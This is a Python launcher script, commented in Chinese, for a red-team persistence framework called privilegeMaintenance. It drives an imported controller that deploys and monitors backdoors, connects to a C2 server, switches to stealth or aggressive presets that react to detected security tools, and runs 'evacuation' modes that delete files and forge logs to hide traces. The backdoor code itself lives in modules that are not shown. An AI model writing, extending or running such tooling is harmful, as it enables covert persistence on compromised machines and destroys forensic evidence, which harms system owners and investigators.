#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

红队闭环流程启动器
快速启动和管理红队闭环流程
"""

import os
import sys

# Python 2/3 兼容性处理
if sys.version_info[0] == 2:
    string_types = basestring
    text_type = unicode
    def iteritems(d):
        return d.iteritems()
    def itervalues(d):
        return d.itervalues()
else:
    string_types = str
    text_type = str
    def iteritems(d):
        return d.items()
    def itervalues(d):
        return d.values()
import json
import time
import argparse
from typing import Dict, Any
from pathlib import Path

# 添加项目根目录到Python路径
project_root = Path(__file__).parent.parent
sys.path.insert(0, str(project_root))

try:
    from core.utils import color_green, color_yellow, color_red, color_blue
    from modules.redteam.redteam_controller import (
        RedTeamController, RedTeamConfig, OperationMode
    )
except ImportError as e:
    print("导入模块失败: {}".format(e))
    print("请确保在项目根目录下运行此脚本")
    sys.exit(1)


def print_banner():
    """打印横幅"""
    banner = """
╔══════════════════════════════════════════════════════════════╗
║                    privilegeMaintenance v1.0                ║
║                   红队闭环流程控制系统                        ║
║                                                              ║
║  🎯 自动化部署 → 🔍 实时监控 → 🛡️ 自动修复 → 🚨 安全撤离      ║
╚══════════════════════════════════════════════════════════════╝
"""
    color_blue(banner)


def print_help():
    """打印帮助信息"""
    help_text = """
🚀 快速启动命令:

1. 交互式模式 (推荐新手):
   python redteam_launcher.py --interactive

2. 自动化模式:
   python redteam_launcher.py --auto

3. 隐蔽模式:
   python redteam_launcher.py --stealth

4. 带C2通信:
   python redteam_launcher.py --auto --c2-url https://your-c2-server.com --c2-key your-api-key

5. 一键部署并监控:
   python redteam_launcher.py --deploy-and-monitor

6. 快速撤离:
   python redteam_launcher.py --evacuate fast

7. 深度撤离:
   python redteam_launcher.py --evacuate deep

📋 配置选项:
   --heartbeat-interval    心跳间隔 (秒，默认1800)
   --stealth-level        隐蔽级别 (1-10，默认5)
   --enable-auto-repair   启用自动修复
   --enable-trace-forge   启用痕迹伪造
"""
    print(help_text)


def create_preset_configs() -> Dict[str, RedTeamConfig]:
    """创建预设配置"""
    configs = {
        'stealth': RedTeamConfig(
            operation_mode=OperationMode.STEALTH,
            heartbeat_interval=3600,  # 1小时
            enable_auto_repair=True,
            stealth_level=8,
            auto_evacuation_triggers=['high_failure_rate', 'security_tools_detected']
        ),
        
        'aggressive': RedTeamConfig(
            operation_mode=OperationMode.AGGRESSIVE,
            heartbeat_interval=600,   # 10分钟
            enable_auto_repair=True,
            enable_redundancy=True,
            stealth_level=3,
            auto_evacuation_triggers=['c2_disconnected']
        ),
        
        'interactive': RedTeamConfig(
            operation_mode=OperationMode.INTERACTIVE,
            heartbeat_interval=1800,  # 30分钟
            enable_auto_repair=True,
            stealth_level=5,
            auto_evacuation_triggers=['high_failure_rate']
        ),
        
        'automatic': RedTeamConfig(
            operation_mode=OperationMode.AUTOMATIC,
            heartbeat_interval=1800,  # 30分钟
            enable_auto_repair=True,
            stealth_level=5,
            auto_evacuation_triggers=['high_failure_rate', 'c2_disconnected']
        )
    }
    
    return configs


def quick_deploy_and_monitor(config: RedTeamConfig):
    """快速部署并监控"""
    color_blue("🚀 启动快速部署并监控模式...")
    
    controller = RedTeamController(config)
    
    try:
        # 启动操作
        controller.start_operation()
        
        # 等待部署完成
        color_blue("⏳ 等待部署完成...")
        time.sleep(10)
        
        # 显示状态
        status = controller.get_operation_status()
        color_green("✅ 部署状态: {} 个后门已部署".format(status['deployed_backdoors']))
        
        if status['deployed_backdoors'] > 0:
            color_blue("🔍 进入监控模式，按 Ctrl+C 停止...")
            
            while controller.running:
                time.sleep(60)
                
                # 每分钟显示一次状态
                current_status = controller.get_operation_status()
                color_green("📊 活跃后门: {0}, 失败后门: {1}".format(
                    current_status['active_backdoors'], current_status['failed_backdoors']))
        else:
            color_red("❌ 部署失败，无可用后门")
            
    except KeyboardInterrupt:
        color_blue("收到停止信号...")
    finally:
        controller.stop_operation()


def quick_evacuation(level: str):
    """快速撤离"""
    color_red("🚨 执行{}撤离...".format(level))
    
    # 创建临时控制器
    config = RedTeamConfig()
    controller = RedTeamController(config)
    
    try:
        result = controller.manual_evacuation(level)
        
        if 'error' in result:
            color_red("❌ 撤离失败: {}".format(result['error']))
        else:
            color_green("✅ 撤离完成: {:.2f}秒".format(result.get('elapsed_time', 0)))
            
            # 显示详细结果
            if 'cleaned_files' in result:
                color_green("🗑️ 清理文件: {} 个".format(result['cleaned_files']))
            if 'restored_files' in result:
                color_green("🔄 恢复文件: {} 个".format(result['restored_files']))
            if 'forged_logs' in result:
                color_green("📝 伪造日志: {} 条".format(result['forged_logs']))
                
    except Exception as e:
        color_red("❌ 撤离异常: {}".format(e))


def main():
    """主函数"""
    parser = argparse.ArgumentParser(description='红队闭环流程启动器')
    
    # 运行模式
    parser.add_argument('--interactive', action='store_true', help='交互式模式')
    parser.add_argument('--auto', action='store_true', help='自动化模式')
    parser.add_argument('--stealth', action='store_true', help='隐蔽模式')
    parser.add_argument('--aggressive', action='store_true', help='激进模式')
    
    # 快速操作
    parser.add_argument('--deploy-and-monitor', action='store_true', help='快速部署并监控')
    parser.add_argument('--evacuate', choices=['fast', 'deep', 'forge'], help='快速撤离')
    
    # C2配置
    parser.add_argument('--c2-url', help='C2服务器URL')
    parser.add_argument('--c2-key', help='C2 API密钥')
    
    # 其他配置
    parser.add_argument('--heartbeat-interval', type=int, default=1800, help='心跳间隔(秒)')
    parser.add_argument('--stealth-level', type=int, default=5, help='隐蔽级别(1-10)')
    parser.add_argument('--enable-auto-repair', action='store_true', default=True, help='启用自动修复')
    parser.add_argument('--enable-trace-forge', action='store_true', help='启用痕迹伪造')
    parser.add_argument('--help-detailed', action='store_true', help='显示详细帮助')
    
    args = parser.parse_args()
    
    # 显示横幅
    print_banner()
    
    # 显示详细帮助
    if args.help_detailed:
        print_help()
        return
    
    # 快速撤离
    if args.evacuate:
        quick_evacuation(args.evacuate)
        return
    
    # 获取预设配置
    preset_configs = create_preset_configs()
    
    # 确定配置
    config = None
    if args.stealth:
        config = preset_configs['stealth']
        color_blue("🥷 使用隐蔽模式配置")
    elif args.aggressive:
        config = preset_configs['aggressive']
        color_blue("⚡ 使用激进模式配置")
    elif args.auto:
        config = preset_configs['automatic']
        color_blue("🤖 使用自动化模式配置")
    elif args.interactive:
        config = preset_configs['interactive']
        color_blue("🎮 使用交互式模式配置")
    else:
        # 默认交互式
        config = preset_configs['interactive']
        color_blue("🎮 使用默认交互式模式配置")
    
    # 应用命令行参数
    if args.c2_url:
        config.c2_server_url = args.c2_url
        config.enable_c2_communication = True
        color_green("🔗 C2服务器: {}".format(args.c2_url))
    
    if args.c2_key:
        config.c2_api_key = args.c2_key
    
    config.heartbeat_interval = args.heartbeat_interval
    config.stealth_level = args.stealth_level
    config.enable_auto_repair = args.enable_auto_repair
    config.enable_trace_forge = args.enable_trace_forge
    
    # 快速部署并监控
    if args.deploy_and_monitor:
        quick_deploy_and_monitor(config)
        return
    
    # 启动控制器
    if config.operation_mode == OperationMode.INTERACTIVE:
        # 交互式模式
        from modules.redteam.redteam_controller import create_interactive_menu



        create_interactive_menu()
    else:
        # 自动模式
        controller = RedTeamController(config)
        
        try:
            controller.start_operation()
            
            color_blue("红队操作运行中，按 Ctrl+C 停止...")
            while controller.running:
                time.sleep(60)
                
                # 显示状态
                status = controller.get_operation_status()
                color_green("📊 状态: {0} | 活跃: {1} | 失败: {2}".format(
                    status['phase'], status['active_backdoors'], status['failed_backdoors']))
                
        except KeyboardInterrupt:
            color_blue("收到停止信号...")
        finally:
            controller.stop_operation()


if __name__ == "__main__":
    main()